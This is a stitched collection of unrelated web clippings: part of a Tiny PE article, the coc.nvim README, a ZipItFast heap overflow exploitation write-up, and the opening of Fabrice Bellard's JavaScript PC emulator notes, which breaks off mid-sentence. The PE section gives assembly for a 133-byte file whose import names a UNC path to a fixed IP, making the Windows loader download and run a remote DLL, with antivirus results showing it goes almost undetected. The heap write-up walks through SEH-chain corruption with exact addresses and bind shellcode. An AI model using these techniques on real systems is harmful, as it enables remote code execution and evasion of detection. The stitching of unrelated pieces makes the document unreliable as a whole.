#### Collapsing the import table

209 bytes are obivousely too much for a single imported function, so let's see
how we can make the file smaller. The first thing we'll do is to remove the
Import Lookup Table. This table is a copy of the IAT and doesn't seem to be
used by the linker. Removing it will save us 8 bytes.

The import table is 40 bytes long, but only three of the fields in it are
used. This allows us to collapse the import table into the PE optional header.

[code]

    ;
    ; Import table (array of IMAGE_IMPORT_DESCRIPTOR structures)
    ;
    
    idata:
        dd 0x400000                          ; ImageBase                          ; PointerToRelocations UNUSED ; OriginalFirstThunk UNUSED
        dd sectalign  ; e_lfanew             ; SectionAlignment                   ; PointerToLinenumbers UNUSED ; TimeDateStamp UNUSED
        dd filealign                         ; FileAlignment                      ; NumberOfRelocations UNUSED  ; ForwarderChain UNUSED
                                                                                  ; NumberOfLinenumbers UNUSED
        dd kernel32                          ; MajorOperatingSystemVersion UNUSED ; Characteristics UNUSED      ; Name
                                             ; MinorOperatingSystemVersion UNUSED                               ; FirstThunk
        dd iat                               ; MajoirImageVersion UNUSED
                                             ; MinorImageVersion UNUSED
        dw 4                                 ; MajorSubsystemVersion                                            ; OriginalFirstThunk UNUSED
        dw 0                                 ; MinorSubsystemVersion UNUSED
        dd 0                                 ; Win32VersionValue UNUSED                                         ; TimeDateStamp UNUSED
        dd round(hdrsize, sectalign)+round(codesize,sectalign) ; SizeOfImage                                    ; ForwarderChain UNUSED
        dd round(hdrsize, filealign)         ; SizeOfHeaders                                                    ; Name UNUSED
        dd 0                                 ; CheckSum UNUSED                                                  ; FirstThunk
    
    idatasize equ $ - idata
    
        dw 2                                 ; Subsystem (Win32 GUI)
        dw 0                                 ; DllCharacteristics UNUSED
        dd 0                                 ; SizeOfStackReserve
        dd 0                                 ; SizeOfStackCommit
        dd 0                                 ; SizeOfHeapReserve
        dd 0                                 ; SizeOfHeapCommit
        dd 0                                 ; LoaderFlags UNUSED
        dd 2                                 ; NumberOfRvaAndSizes
    
    
[/code]

The PE file is now **161** bytes.

tiny.asm | tiny.exe | Makefile
#### Collapsing the IAT and the DLL name

The last two structures left outside of the PE header are the IAT and the name
of the imported DLL. We can collapse the IAT into the unused 8-byte Name field
of the PE section header. The DLL name can be stored in the unused fields at
the end of the PE optional header and in the 8 bytes of the export data
directory. There is enough space for 15 characters and a null terminator for
the name.

The last field in the data directory is the size of the import table, but the
size isn't really used by the loader and can be set to 0. The last three bytes
of the import table pointer are also 0, because the pointer is stored as a
little-endian dword. We can remove all the zero bytes from the end of the
file, just like we did with the 97 byte PE file above.

The full source code of the final PE file is given below:

[code]

    ; tiny.asm
    
    BITS 32
    
    ;
    ; MZ header
    ;
    ; The only two fields that matter are e_magic and e_lfanew
    
    mzhdr:
        dw "MZ"       ; e_magic
        dw 0          ; e_cblp UNUSED
    
    ;
    ; PE signature
    ;
    
    pesig:
        dd "PE"       ; e_cp UNUSED          ; PE signature
                      ; e_crlc UNUSED
    
    ;
    ; PE header
    ;
    
    pehdr:
        dw 0x014C     ; e_cparhdr UNUSED     ; Machine (Intel 386)
        dw 1          ; e_minalloc UNUSED    ; NumberOfSections
    
    ;   dd 0xC3582A6A ; e_maxalloc UNUSED    ; TimeDateStamp UNUSED
    ;                 ; e_ss UNUSED
    
    ; Entry point
    
    start:
        push byte 42
        pop eax
        ret
    
        dd 0          ; e_sp UNUSED          ; PointerToSymbolTable UNUSED
                      ; e_csum UNUSED
        dd 0          ; e_ip UNUSED          ; NumberOfSymbols UNUSED
                      ; e_cs UNUSED
        dw sections-opthdr ; e_lsarlc UNUSED ; SizeOfOptionalHeader
        dw 0x103      ; e_ovno UNUSED        ; Characteristics
    
    ;
    ; PE optional header
    ;
    ; The debug directory size at offset 0x94 from here must be 0
    
    filealign equ 4
    sectalign equ 4   ; must be 4 because of e_lfanew
    
    %define round(n, r) (((n+(r-1))/r)*r)
    
    opthdr:
        dw 0x10B      ; e_res UNUSED         ; Magic (PE32)
        db 8                                 ; MajorLinkerVersion UNUSED
        db 0                                 ; MinorLinkerVersion UNUSED
    
    ;
    ; PE code section and IAT
    ;
    
    sections:
    iat:
        dd 0x80000001                        ; SizeOfCode UNUSED                  ; Name UNUSED                 ; Import function 1 by ordinal
        dd 0          ; e_oemid UNUSED       ; SizeOfInitializedData UNUSED                                     ; end of IAT
                      ; e_oeminfo UNUSED
        dd codesize   ; e_res2 UNUSED        ; SizeOfUninitializedData UNUSED     ; VirtualSize
        dd start                             ; AddressOfEntryPoint                ; VirtualAddress
        dd codesize                          ; BaseOfCode UNUSED                  ; SizeOfRawData
        dd start                             ; BaseOfData UNUSED                  ; PointerToRawData
    
    ;
    ; Import table (array of IMAGE_IMPORT_DESCRIPTOR structures)
    ;
    
    idata:
        dd 0x400000                          ; ImageBase                          ; PointerToRelocations UNUSED ; OriginalFirstThunk UNUSED
        dd sectalign  ; e_lfanew             ; SectionAlignment                   ; PointerToLinenumbers UNUSED ; TimeDateStamp UNUSED
        dd filealign                         ; FileAlignment                      ; NumberOfRelocations UNUSED  ; ForwarderChain UNUSED
                                                                                  ; NumberOfLinenumbers UNUSED
        dd kernel32                          ; MajorOperatingSystemVersion UNUSED ; Characteristics UNUSED      ; Name
                                             ; MinorOperatingSystemVersion UNUSED                               ; FirstThunk
        dd iat                               ; MajoirImageVersion UNUSED
                                             ; MinorImageVersion UNUSED
        dw 4                                 ; MajorSubsystemVersion                                            ; OriginalFirstThunk UNUSED
        dw 0                                 ; MinorSubsystemVersion UNUSED
        dd 0                                 ; Win32VersionValue UNUSED                                         ; TimeDateStamp UNUSED
        dd round(hdrsize, sectalign)+round(codesize,sectalign) ; SizeOfImage                                    ; ForwarderChain UNUSED
        dd round(hdrsize, filealign)         ; SizeOfHeaders                                                    ; Name UNUSED
        dd 0                                 ; CheckSum UNUSED                                                  ; FirstThunk
    
    idatasize equ $ - idata
    
        dw 2                                 ; Subsystem (Win32 GUI)
        dw 0                                 ; DllCharacteristics UNUSED
        dd 0                                 ; SizeOfStackReserve
        dd 0                                 ; SizeOfStackCommit
        dd 0                                 ; SizeOfHeapReserve
        dd 0                                 ; SizeOfHeapCommit
    ;    dd 0                                 ; LoaderFlags UNUSED
    ;    dd 2                                 ; NumberOfRvaAndSizes
    
    ;
    ; The DLL name should be at most 16 bytes, including the null terminator
    ;
    
    kernel32:
        db "KERNEL32.dll", 0
    
        times 16-($-kernel32) db 0
    
    ;
    ; Data directories
    ;
    ; The debug directory size at offset 0x34 from here must be 0
    
    ;    dd 0                                 ; Export Table UNUSED
    ;    dd 0
    
        db idata - $$                        ; Import Table
    
    hdrsize equ $ - $$
    
    codesize equ $ - start
    
    filesize equ $ - $$
    
    
[/code]

This brings the final file size to **133** bytes.

tiny.asm | tiny.exe | Makefile
## Smallest PE file that downloads a file from the Internet

The goal of the Tiny PE challenge was to write the smallest PE file that
downloads a file from the Internet and executes it. The standard technique for
this is to call URLDownloadToFileA and then WinExec to execute the file. There
are many examples of shellcode that uses this API, but it requires us to load
URLMON.DLL and call multiple functions, which would increase the size of our
PE file significantly.

A less known feature of Windows XP is the WebDAV Mini-Redirector. It
translates UNC paths used by all Windows applications to URLs and tries to
access them over the WebDAV protocol. This means that we can pass a UNC path
to WinExec and the redirector will attempt to download the specified file over
WebDAV on port 80.

Even more interesting is the fact that you can specify a UNC path in the
import section of the PE file. If we specify \\\66.93.68.6\z as the name of
the imported DLL, the Windows loader will try to download the DLL file from
our web server.

This allows us to create a PE file that downloads and excutes a file from the
Internet without executing a single line of code. All we have to do is put our
payload in the DllMain function in the DLL, put the DLL on a publicly
accessible WebDAV server and specify the UNC path to the file in the imports
section of the PE file. When the loader processes the imports of the PE file,
it will load the DLL from the WebDAV server and execute its DllMain function.

[code]

    ;
    ; The DLL name should be at most 16 bytes, including the null terminator
    ;
    
    dllname:
        db "\\66.93.68.6\z", 0
        times 16-($-dllname) db 0
    
    
[/code]

The size of the PE file with a UNC import is still only **133** bytes.

**WARNING:** The PE file linked below is live. It will attempt to download and
execute a payload DLL from http://66.93.68.6/z. The DLL will display a message
box and exit, but you should take proper precautions and treat it as untrusted
code.

tiny.asm | tiny.exe | Makefile
Setting up Apache or IIS as WebDAV servers is not complicated, but for
development purposes you can use the following Ruby script. It will serve as
minimial WebDAV server with just enough functionality for the attack to work:

webdav.rb

The payload DLL and its source are also available:

payload.c | payload.dll | test.c | tiny.exe | Makefile
#### VirusTotal Results

Scanning the 133 byte PE file that downloads a DLL over WebDAV with common
anti-virus software shows that the rate of detection is very low. My
suggestion to AV vendors is to start using the presense of UNC imports as a
malware heuristic.

Complete scanning result of "tiny.exe", received in VirusTotal at 11.08.2006,
07:14:08 \(CET\).

Antivirus | Version | Update | Result   
---|---|---|---  
AntiVir | 7.2.0.39 | 11.07.2006 | no virus found   
Authentium | 4.93.8 | 11.07.2006 | no virus found   
Avast | 4.7.892.0 | 11.07.2006 | no virus found   
AVG | 386 | 11.07.2006 | no virus found   
BitDefender | 7.2 | 11.08.2006 | no virus found   
CAT-QuickHeal | 8.00 | 11.07.2006 | \(Suspicious\) - DNAScan   
ClamAV | devel-20060426 | 11.07.2006 | no virus found   
DrWeb | 4.33 | 11.08.2006 | no virus found   
eTrust-InoculateIT | 23.73.49 | 11.08.2006 | no virus found   
eTrust-Vet | 30.3.3181 | 11.07.2006 | no virus found   
Ewido | 4.0 | 11.07.2006 | no virus found   
Fortinet | 2.82.0.0 | 11.08.2006 | no virus found   
F-Prot | 3.16f | 11.07.2006 | no virus found   
F-Prot4 | 4.2.1.29 | 11.07.2006 | no virus found   
Ikarus | 0.2.65.0 | 11.07.2006 | no virus found   
Kaspersky | 4.0.2.24 | 11.08.2006 | no virus found   
McAfee | 4890 | 11.07.2006 | no virus found   
Microsoft | 1.1609 | 11.08.2006 | no virus found   
NOD32v2 | 1.1858 | 11.07.2006 | no virus found   
Norman | 5.80.02 | 11.07.2006 | no virus found   
Panda | 9.0.0.4 | 11.07.2006 | no virus found   
Sophos | 4.11.0 | 11.07.2006 | no virus found   
TheHacker | 6.0.1.114 | 11.08.2006 | no virus found   
UNA | 1.83 | 11.07.2006 | no virus found   
VBA32 | 3.11.1 | 11.07.2006 | no virus found   
VirusBuster | 4.3.15:9 | 11.07.2006 | no virus found   
Additional Information  
---  
File size: 133 bytes  
MD5: a6d732dd4b460000151a5f3cb448a4be  
SHA1: 3bdd0363204f3db7d0e15af2a64081ce04e57533  
  

# neoclide/coc.nvim

**Created:**| _4/25/2019 6:33:08 AM_  
---|---  
**Updated:**| _4/25/2019 6:33:08 AM_  
**Author:**| __  
**Tags:**| _vim ide_  
  

  

# neoclide/coc.nvim

<img src='img/55009068-f4ed2780-501c-11e9-9a3b-cf3aa6ab9272.png' width='576'
height='273' />

Make your vim/neovim as smart as VSCode.

* * *
Coc is an intellisense engine for vim8 & neovim.

It works on `vim >= 8.1` and `neovim >= 0.3.1`.

It's a completion framework and language server client which supports
extension features of VSCode

<img src='img/55285193-400a9000-53b9-11e9-8cff-ffe4983c5947.gif' width='576'
height='300' />

_True snippet and additional text editing support_

Floating windows require the master build of neovim to work, follow steps in
the faq.

Check out doc/coc.txt for the vim interface.

## Why?

  * **Fast** : instant increment completion, increment buffer sync using buffer update events.
  * **Reliable** : typed language, tested with CI.
  * **Featured** : full LSP support
  * ❤️ **Flexible** : configured like VSCode, extensions work like in VSCode

Completion experience

## Table of contents

  * Installation
Install nodejs:

[code]     curl -sL install-node.now.sh/lts | sh
    # Optional install yarn if you want install extension by CocInstall command
    curl --compressed -o- -L https://yarnpkg.com/install.sh | bash
[/code]

For vim-plug users:

[code]     " Install nightly build, replace ./install.sh with install.cmd on
windows

    Plug 'neoclide/coc.nvim', {'do': './install.sh nightly'}
    " Or install lastest release tag
    Plug 'neoclide/coc.nvim', {'tag': '*', 'do': './install.sh'}
    " Or build from source code
    Plug 'neoclide/coc.nvim', {'do': 'yarn install --frozen-lockfile'}
[/code]

in your `.vimrc` or `init.vim`, then restart vim and run `:PlugInstall`.

For other plugin managers, run command `:call coc#util#install()` to download
lastest compiled javascript bundle.

**Note** : The first time building from source code may be slow.

**Note** : Nix-os Users must follow these steps:

    1. Install nodejs and yarn via `nix-env` or put them in `/etc/nixos/configuration.nix`
    2. `sudo nixos-rebuild switch`
    3. `Plug 'neoclide/coc.nvim', {'do': 'yarn install --frozen-lockfile'}`
    4. Don't forget to put: `set shell=/bin/sh` in your init.vim.
  * Completion with sources
  * Using snippets
  * Using extensions
  * Using list
  * Using configuration file
  * Using workspaceFolders
  * Language servers

## Completion sources

Completion from words in buffers and file paths completions are supported by
default.

For other completion sources, check out:

  * coc-sources: includes some common completion source extensions.
  * coc-neco: viml completion support.
  * coc-vimtex: vimtex integration.
  * coc-neoinclude: neoinclude integration.
  * coc-powershell: PowerShellEditorService integration.

Or you can create a custom source.

## Extensions

Extensions are more powerful than a configured language server. Checkout Using
coc extensions.

  * **coc-json** for `json`.
  * **coc-tsserver** for `javascript` and `typescript`.
  * **coc-html** for `html`, `handlebars` and `razor`.
  * **coc-css** for `css`, `scss` and `less`.
  * **coc-vetur** for `vue`, use vetur.
  * **coc-phpls** for `php`, use intelephense-docs.
  * **coc-java** for `java`, use eclipse.jdt.ls.
  * **coc-solargraph** for `ruby`, use solargraph.
  * **coc-rls** for `rust`, use Rust Language Server
  * **coc-yaml** for `yaml`
  * **coc-python** for `python`, extension forked from vscode-python.
  * **coc-highlight** provides default document symbol highlighting and color support.
  * **coc-emmet** provides emmet suggestions in completion list.
  * **coc-snippets** provides snippets solution.

Plus more\! To get a full list of coc extensions, search coc.nvim on npm.

**Note:** use `:CocConfig` to edit the configuration file. Completion &
validation are supported after `coc-json` is installed.

## Example vim configuration

Configuration is required to make coc.nvim easier to work with, since it
doesn't change your key-mappings or vim options. This is done as much as
possible to avoid conflict with your other plugins.

**❗️ Important**: some vim plugins could change keymapping. Use a command like
`:verbose imap <tab>` to make sure your keymap takes effect.

[code]

    " if hidden is not set, TextEdit might fail.
    set hidden
    
    " Some servers have issues with backup files, see #649
    set nobackup
    set nowritebackup
    
    " Better display for messages
    set cmdheight=2
    
    " Smaller updatetime for CursorHold & CursorHoldI
    set updatetime=300
    
    " don't give |ins-completion-menu| messages.
    set shortmess+=c
    
    " always show signcolumns
    set signcolumn=yes
    
    " Use tab for trigger completion with characters ahead and navigate.
    " Use command ':verbose imap <tab>' to make sure tab is not mapped by other plugin.
    inoremap <silent><expr> <TAB>
          \ pumvisible() ? "\<C-n>" :
          \ <SID>check_back_space() ? "\<TAB>" :
          \ coc#refresh()
    inoremap <expr><S-TAB> pumvisible() ? "\<C-p>" : "\<C-h>"
    
    function! s:check_back_space() abort
      let col = col('.') - 1
      return !col || getline('.')[col - 1]  =~# '\s'
    endfunction
    
    " Use <c-space> to trigger completion.
    inoremap <silent><expr> <c-space> coc#refresh()
    
    " Use <cr> to confirm completion, `<C-g>u` means break undo chain at current position.
    " Coc only does snippet and additional edit on confirm.
    inoremap <expr> <cr> pumvisible() ? "\<C-y>" : "\<C-g>u\<CR>"
    
    " Use `[c` and `]c` to navigate diagnostics
    nmap <silent> [c <Plug>(coc-diagnostic-prev)
    nmap <silent> ]c <Plug>(coc-diagnostic-next)
    
    " Remap keys for gotos
    nmap <silent> gd <Plug>(coc-definition)
    nmap <silent> gy <Plug>(coc-type-definition)
    nmap <silent> gi <Plug>(coc-implementation)
    nmap <silent> gr <Plug>(coc-references)
    
    " Use K to show documentation in preview window
    nnoremap <silent> K :call <SID>show_documentation()<CR>
    
    function! s:show_documentation()
      if (index(['vim','help'], &filetype) >= 0)
        execute 'h '.expand('<cword>')
      else
        call CocAction('doHover')
      endif
    endfunction
    
    " Highlight symbol under cursor on CursorHold
    autocmd CursorHold * silent call CocActionAsync('highlight')
    
    " Remap for rename current word
    nmap <leader>rn <Plug>(coc-rename)
    
    " Remap for format selected region
    vmap <leader>f  <Plug>(coc-format-selected)
    nmap <leader>f  <Plug>(coc-format-selected)
    
    augroup mygroup
      autocmd!
      " Setup formatexpr specified filetype(s).
      autocmd FileType typescript,json setl formatexpr=CocAction('formatSelected')
      " Update signature help on jump placeholder
      autocmd User CocJumpPlaceholder call CocActionAsync('showSignatureHelp')
    augroup end
    
    " Remap for do codeAction of selected region, ex: `<leader>aap` for current paragraph
    vmap <leader>a  <Plug>(coc-codeaction-selected)
    nmap <leader>a  <Plug>(coc-codeaction-selected)
    
    " Remap for do codeAction of current line
    nmap <leader>ac  <Plug>(coc-codeaction)
    " Fix autofix problem of current line
    nmap <leader>qf  <Plug>(coc-fix-current)
    
    " Use `:Format` to format current buffer
    command! -nargs=0 Format :call CocAction('format')
    
    " Use `:Fold` to fold current buffer
    command! -nargs=? Fold :call     CocAction('fold', <f-args>)
    
    
    " Add diagnostic info for https://github.com/itchyny/lightline.vim
    let g:lightline = {
          \ 'colorscheme': 'wombat',
          \ 'active': {
          \   'left': [ [ 'mode', 'paste' ],
          \             [ 'cocstatus', 'readonly', 'filename', 'modified' ] ]
          \ },
          \ 'component_function': {
          \   'cocstatus': 'coc#status'
          \ },
          \ }
    
    
    
    " Using CocList
    " Show all diagnostics
    nnoremap <silent> <space>a  :<C-u>CocList diagnostics<cr>
    " Manage extensions
    nnoremap <silent> <space>e  :<C-u>CocList extensions<cr>
    " Show commands
    nnoremap <silent> <space>c  :<C-u>CocList commands<cr>
    " Find symbol of current document
    nnoremap <silent> <space>o  :<C-u>CocList outline<cr>
    " Search workspace symbols
    nnoremap <silent> <space>s  :<C-u>CocList -I symbols<cr>
    " Do default action for next item.
    nnoremap <silent> <space>j  :<C-u>CocNext<CR>
    " Do default action for previous item.
    nnoremap <silent> <space>k  :<C-u>CocPrev<CR>
    " Resume latest coc list
    nnoremap <silent> <space>p  :<C-u>CocListResume<CR>
[/code]

## Backers

❤️ coc.nvim? Help us keep it alive by donating funds\!

## Feedback

  * If you think Coc is useful, consider giving it a star.
  * If you have a question, ask on gitter
  * 中文用户请到 中文 gitter 讨论。
  * If something is not working, create an issue.

Measure

Measure

# Reverse Engineering 0x4 Fun: Windows Heap Overflow Exploitation

**Created:**| _5/4/2014 3:54:31 PM_  
---|---  
**Updated:**| _5/4/2014 3:54:31 PM_  
**Author:**| __  
**Tags:**| _reversing windows environment Heap_  
  

# Windows Heap Overflow Exploitation

Hi ,  
  
In this article I will be talking about exploiting a custom heap : which is a
big chunk of memory allocated by the usermode application using VirtualAlloc
for example . The application will then work on managing 'heap' block
allocations and frees \(in the allocated chunk\) in a custom way with complete
ignorance of the Windows's heap manager. This method gives the software much
more control over its custom heap, but it can result in security flaws if the
manager doesn't do it's job properly , we'll see that in detail later.  
  
To see an implementation of a custom heap manager in C/C++ please refer to my
previous blog post : http://rce4fun.blogspot.com/2014/01/creating-and-using-
your-own-heap-manager.html  
Heap Manager Source code : http://pastebin.com/2LgcByyC  
  
The vulnerability that we'll exploit together today is a 'heap' overflow
vulnerability that's occuring in a custom heap built by the application. The
vulnerable software is : **ZipItFast 3.0** and we'll be exploiting it today
and gaining code execution under Windows 7 . ASLR , DEP , SafeSEH aren't
enabled by default in the application which makes it even more reliable to us
. Even though , there's still some painful surprises waiting for us ...  
  
Let's just start :  
**The Exploit :**  
I've actually got the POC from exploit-db , you can check it right here :  
http://www.exploit-db.com/exploits/17512/  
  
Oh , and there's also a full exploit here :  
http://www.exploit-db.com/exploits/19776/  
  
Unfortunately , you won't learn much from the full exploitation since it will
work only on Windows XP SP1. Why ? simply because it's using a technique that
consists on overwriting the vectored exception handler node that exists in a
static address under windows XP SP1. Briefly , all you have to do is find a
pointer to your shellcode \(buffer\) in the stack. Then take the stack address
which points to your pointer and after that substract 0x8 from that address
and then perform the overwrite. When an exception is raised , the vectored
exception handlers will be dispatched before any handler from the SEH chain,
and your shellcode will be called using a CALL DWORD PTR DS: \[ESI + 0x8\]
\(ESI = stack pointer to the pointer to your buffer - 0x8\). You can google
the \_VECTORED\_EXCEPTION\_NODE and check its elements.  
  
**And why wouldn't this work under later versions of Windows ?** Simply
because Microsoft got aware of the use of this technique and now
**EncodePointer** is used to encode the pointer to the handler whenever a new
handler is created by the application, and then **DecodePointer** is called to
decode the pointer before the handler is invoked.  
  
Okay, let's start building our exploit now from scratch. The POC creates a ZIP
file with the largest possible file name , let's try it :  
N.B : If you want to do some tests , execute the software from command line as
follows :  
Cmd :> C:\blabla\ZipItFast\ZipItFast.exe C:\blabla\exploit.zip  
Then click on the **Test button** under the program.  
  
Let's try executing the POC now :

<img src='img/Temp2_6845.jpg' />

An access violation happens at 0x00401C76 trying to access an invalid pointer
\(0x41414141\) in our case. Let's see the registers :

<img src='img/Temp2_6848.jpg' />

Basically the FreeList used in this software is a circular doubly linked lists
similar to Windows's . The circular doubly linked list head is in the **.bss
section** at address 0x00560478 and its flink and blink pointers are pointing
to the head \(self pointers\) when the custom heap manager is initialized by
the software.  
I also didn't check the full implementation of the FreeList and the
free/allocate operations in this software to see if they're similar to
Windows's \(bitmap , block coalescing ...etc\).  
  
It's crucial also to know that in our case , the block is being unlinked from
the FreeList because the manager had a 'request' to allocate a new block , and
it was chosen as best block for the allocation.  
  
Let's get back to analysing the crash :  
\- First I would like to mention that we'll be calling the pointer to the
Freelist Entry struct : **" entry"**.  
  
**Registers State at 0x00401C76 :**  
**EAX = entry- >Flink  
EDX = entry->Blink  
\[EAX\] = entry->Flink->Flink  
\[EAX+4\] = entry->Flink->Blink \(Next Block's Previous block\)  
\[EDX\] = entry->Blink->Flink  
\[EDX+4\] = entry->Blink->Blink \(Previous Block's Next block\)**  
  
Logically speaking : **Next Block's Previous Block** and **Previous Block's
Next Block** are nothing but the **current block**.  
So the 2 instructions that do the block unlinking from the FreeList just :  
\- Set the previous freelist entry's flink to the block entry's flink.  
\- Set the next freelist entry's blink to the block entry's blink.  
By doing so , the block doesn't belong to the freelist anymore and the
function simply returns after that. So it'll be easy to guess what's happening
here , the software allocates a static 'heap' block to store the name of the
file and it would have best to allocate the block based on the filename length
from the ZIP header \(this could be a fix for the bug , but heap overflows
might be found elsewhere , I'll propose a better method to fix ,but not fully,
this bug later in this article\).  
  
Now , we know that we're writing past our heap block and thus overwriting the
custom metadata of the next heap block \(flink and blink pointers\). So, We'll
need to find a reliable way to exploit this bug , as the 2 unlinking
instructions are the only available to us and we control both EAX and EDX.
\(if it's not possible in another case you can see if there are other close
instructions that might help\), you can think of overwriting the return
address or the pointer to the structured exception handler as we have a stack
that won't be rebased after reboot.  
This might be a working solution in another case where your buffer is stored
in a static memory location.  
But Under Windows 7 , it's not the case , **VirtualAlloc** allocates a chunk
of memory with a different base in each program run. In addition , even if the
address was static , the location of the freed block that we overwrite varies.
So in both cases we'll need to find a pointer to our buffer.  
  
The best place to look is the stack , remember that the software is trying to
unlink \(allocate\) the block that follows the block where we've written the
name , so likely all near pointers in the stack \(current and previous stack
frame\) are poiting to the newly allocated block \(pointer to metadata\) .
That's what we don't want because flink and blink pointers that we might set
might not be valid opcodes and might cause exceptions , so all we need to do
is try to find a pointer to the first character of the name and then figure
out how to use this pointer to gain code execution , this pointer might be in
previous stack frames.  
  
And here is a pointer pointing to the beginning of our buffer : 3 stack frames
away  
  

<img src='img/Temp2_6846.jpg' />

  
Remember that 0x01FB2464 will certainly be something else when restarting the
program , but the pointer 0x0018F554 is always static , even when restarting
the machine.  
  
So when I was at this stage , I started thinking and thinking about a way that
will help me redirect execution to my shellcode which is for sure at the
address pointed by 0x0018F554 , and by using only what's available to me :  
\- Controlled registers : EAX and EDX.  
\- Stack pointer to a dynamic buffer pointer.  
\- 2 unlinking instructions.  
\- No stack rebase.  
  
_**Exploiting the vulnerability and gaining code execution:**_  
  
  
And Then I thought , why wouldn't I corrupt the SEH chain and create a _**Fake
frame**_ ? Because when trying to corrupt an SEH chain there are 3 things that
you must know :  
  
**\- SafeSEH and SEHOP are absent.  
\- Have a pointer to an exisiting SEH frame.  
\- Have a pointer to a pointer to the shellcode.**  
  
The pointer to the shellcode will be treated as the handler,and the value
pointed by  
**\(\(ptr to ptr to shellcode\)-0x4\)** will be treated as the pointer to the
next SEH frame.  
Let's illustrate the act of corrupting the chain : **\(with a silly
illustration , sorry\)**

<img src='img/Temp2_6843.jpg' />

_Let me explain :_  
  
we need to achieve our goal by using these 2 instructions , right ? :  
  
**MOV \[EDX\],EAX  
MOV \[EAX+4\], EDX**  
  
We'll need 2 pointers and we control 2 registers ,**but which pointer give to
which register ?** This must not be a random choice because you might
overwrite the pointer to the shellcode if you chose EAX as a pointer to your
fake SEH frame.  
So we'll need to do the reverse , but with precaution of overwriting anything
critical.  
**In addition we actually don't care about the value of "next SEH frame" of
our fake frame.**  
  
So our main goal is to overwrite the "next SEH frame" pointer of an exisiting
frame , to do so we need to have a pointer to our fake frame in one of the 2
registers. As \[EAX+4\] will overwrite the pointer to the buffer if used as a
pointer to the fake SEH frame , we will use **EDX** instead. We **must not**
also overwrite the original handler pointer because it will be first executed
to try to handle the exception , if it fails , then our fake handler
\(shellcode\) will be invoked then.  
So : **EDX = &\(pointer to shellcode\) - 0x4 = Pointer to Fake "Next SEH
frame" element.**  
EDX must reside in the next frame field of the original frame which is :
\[EAX+4\].  
And **EAX = SEH Frame - 0x4.**  
  
  
**Original Frame after overwite :**  
Pointer to next SEH : Fake Frame  
Exception Handler : Valid Handler  
  
**Fake Frame :**  
Pointer to next SEH : \(Original Frame\) - 0x4 \(we just don't care about this
one\)  
Exception Handler : Pointer to shellcode  
  
The SEH frame I chose is at : 0x0018F4B4  
  
So : EAX = 0x0018F4B4 - 0x4 = **0x0018F4B0** and EDX =0x0018F554 - 0x4 =
**0x0018F550**  
  
  
 _When the overwrite is done the function will return normally to its caller ,
and all we have to do now is wait for an exception to occur . An exception
will occur after a dozen of instructions as the metadata is badly corrupted.
The original handler will be executed but it will fail to handle the access
violation and then our fake handler will be called which is the shellcode ._  
  
_**Making the exploit work :**_  
  
Now all we need to do is calculate the length between the 1st character of the
name and the flink and blink pointers , and then insert our pointers in the
POC.  
  
**_Inserting the shellcode :_ **  
The space between the starting address of the buffer and the heap overwritten
metadata is not so large , so it's best to put an unconditional jump at the
start of our buffer to jump past the overwritten flink and blink pointers and
then put the shellcode just after the pointers. As we can calculate the length
, this won't cause any problem.  
  
**Final exploit here** : http://pastebin.com/pKyQJicy  
  
I chose a bind shellcode , which opens a connection to \(0.0.0.0:4444\). Let's try opening the ZIP file using ZipItFast and then check "netstat -an | find "4444" :
<img src='img/Temp2_6847.jpg' />

Bingo \!

**_A Fix for this vulnerability ??_**  
  
The method I stated before which consists on allocating the block based on the
filename length from the ZIP headers can be valid only to fix the
vulnerability in this case , but what if the attackers were also able to cause
an overflow elsewhere in the software ?  
The best way to fix the bug is that : when a block is about to be allocated
and it's about to be unlinked from the Freelist the first thing that must be
done is checking the validity of the doubly linked list , to do so :**safe
unlinking** must be performed and which was introduced in later versions of
Windows.  
**Safe unlinking** is done the following way :  
  
**if \( entry- >flink->blink \!= entry->blink->flink || entry->blink->flink
\!= entry\)\{  
//Fail , Freelist corrupted , exit process  
\}  
else \{  
//Unlink then return the block to the caller  
\}**  
  
Let's see how safe unlinking is implemented under Windows 7 :  
The function is that we'll look at is : **RtlAllocateHeap** exported by ntdll

<img src='img/Temp2_6844.jpg' />

Even if this method looks secure , there is some research published online
that provides weaknesses of this technique and how can it be bypassed. I also
made sure to implement this technique in my custom heap manager \(**Line
86**\) , link above.  
  
I hope that you've enjoyed reading this paper .  
  
See you again soon ,  
  
**Souhail Hammou.**  
  

# Javascript PC Emulator - Technical Notes

**Created:**| _5/17/2011 7:26:10 PM_  
---|---  
**Updated:**| _5/17/2011 7:26:10 PM_  
**Author:**| __  
**Tags:**| _programming Emulation awesome JavaScript_  
  

## Javascript PC Emulator - Technical Notes

By Fabrice Bellard \- May 14, 2011

This PC emulator is written in Javascript. The emulated hardware consists in:

  * a 32 bit x86 compatible CPU
  * a 8259 Programmble Interrupt Controller
  * a 8254 Programmble Interrupt Timer
  * a 16450 UART.

The code is written in pure Javascript using Typed Arrays which are available
in recent browsers. It was tested with Firefox 4 and Google Chrome 11 on
Linux, Window and Mac \(it does not work with Chrome 12 beta. As far as I
know, it is a bug in the browser\). In any case, a fast Javascript engine is
needed to have good performance.

### CPU Emulation

Some of the code is inspired from my x86 dynamic translator present in QEMU,
but there are important differences because here it is an interpreter. The CPU
is close to a 486 compatible x86 without FPU. The lack of FPU is not a problem
when running Linux as Operating System because it contains a FPU emulator. In
order to be able to run Linux, a complete MMU is implemented. The exact
restrictions of the emulated CPU are:

  1. No FPU/MMX/SSE
  2. No segment limit and right checks when accessing memory \(Linux does not rely on them for memory protection, so it is not an issue. The x86 emulator of QEMU has the same restriction\).
  3. No CS/DS/ES/SS segment overrides. FS/GS overrides are implemented because they are needed for Thread Local Storage in Linux.
  4. A few seldom used instructions are missing \(BCD operations, BOUND, ...\).
  5. No single-stepping
  6. No real mode
  7. No 16 bit protected mode \(although most 16 bit instructions are present because they are needed to run 32 bit programs\).

Most of these restrictions are easy to remove, but I decided to implement the
strict minimum to be able to use a recent Linux kernel and its user
applications.

I added some tricks which are not present in QEMU to be more precise when
emulating unaligned load/stores at page boundaries. The condition code
emulation is also more efficient than the one in QEMU.

### Devices

Currently there is no synchronization between the PIT frequency and the real
time, so there is a variable drift between the time returned by Linux \(try
the "date" command\) and the real time.

The UART \(serial port\) does not support FIFO mode. Perhaps it could help to
improve the display speed.

There is no network emulation at this point.

### Javascript terminal

Although I could have reused the excellent termlib, I decided to write my own
because I was curious to see how it could be done. The main problem is the key
handling which is different among browsers and OSes, as described here.

### Linux distribution

I compiled a 2.6.20 Linux kernel \(I guess any other version would work
provided there is still an FPU emulator\). The configuration is here and there
is a small optional patch to avoid outputting warnings due to the slow serial
port. An uncompressed kernel image is used instead of a compressed one to have
